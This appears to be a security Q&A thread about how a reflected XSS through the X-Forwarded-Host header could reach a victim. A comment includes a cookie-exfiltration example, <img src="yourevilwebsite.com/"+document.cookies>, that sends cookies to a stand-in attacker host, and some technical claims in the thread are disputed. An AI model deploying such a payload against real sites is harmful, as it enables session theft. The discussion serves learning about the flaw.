I found a report on hackerone which is being awarded $200 for XSS via forwarded host header. It is a reflected xss and I was wondering how an attacker can attack the victim?

Is there any way in network side like from proxy or other? Is it possible to set this header from client-side? I think this header doesnt come under the forbidden request headers but it doesn't come under the simple headers so this will cause pre flight right? Thanks in advance

2 Answers 2


Any HTTP header can be sent from the client, the problem here is that the proxies or backends that are on the middle of the client-server communication knows how to manage these type of headers. In general proxies well configure delete or update the header(X-forwarder headers) under some circumstances. My recommendation is that never ever trust any of the headers that your backends or proxies receive.


This header is not inserted by default in a browser request, so you cannot make your victim caught by clicking on https://thevulnerablewebsite.com

But you can succeed by making him click on https://yourevilwebsite.com Then you craft yourevilwebsite.com to make a browser request to thevulnerablewebsite.com. Because you control the client-side javascript, you can specify the headers you want (like X-forwarded-for). Then you will be able to try cookies exfiltration, XSRF, ...

So it is less direct than a simple XSS because your victim must trust youevilwebsite.com to be trapped (most of the time you have to use a bait "free iphones for a limited time!").
Like for the POST based XSS.

  • Setting the X-Forwarded header from client doesn't trigger pre flight request?
    – ladecruze
    Feb 2, 2022 at 16:37
  • Also how do u set the header from client, I think you cant set the data using form action as it isnt allowed, if you try to use fetch, the response will be rendered and the xss will not be triggered.
    – ladecruze
    Feb 2, 2022 at 16:39
  • I don't know for the preflight request. In most XSS proof of concept, you will see the use of XMLHttpRequest (stackoverflow.com/questions/247483/…). And you can configure the headers you want like this xhr.setRequestHeader("X-Forwarded-For", "X.X.X.X");
    – Sibwara
    Feb 2, 2022 at 16:48
  • you can't set any header and send @Sibwara, try sending a request to vulnerablewebsite.com from attacker.com with "x-test: send", you cant. Also using xhr you can only send request but not read, the response will not rendered but instead it throws error in console bec of SOP
    – ladecruze
    Feb 2, 2022 at 17:10
  • Yes you can. Maybe not with XHR, I did not try all the capabilities. But at the end, I could always set a TCP socket with thevulnerablewebsite.com and send a raw text in it as a HTTP packet. You're right about the fact that yourevilwebsite.com cannot catch the answer of the request (only the browser of the victim can catch it). But XSS exploitation don't need you to get the response. Most of the time you send JS code that perform a request to you like <img src="yourevilwebsite.com/"+document.cookies >
    – Sibwara
    Feb 2, 2022 at 17:31

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .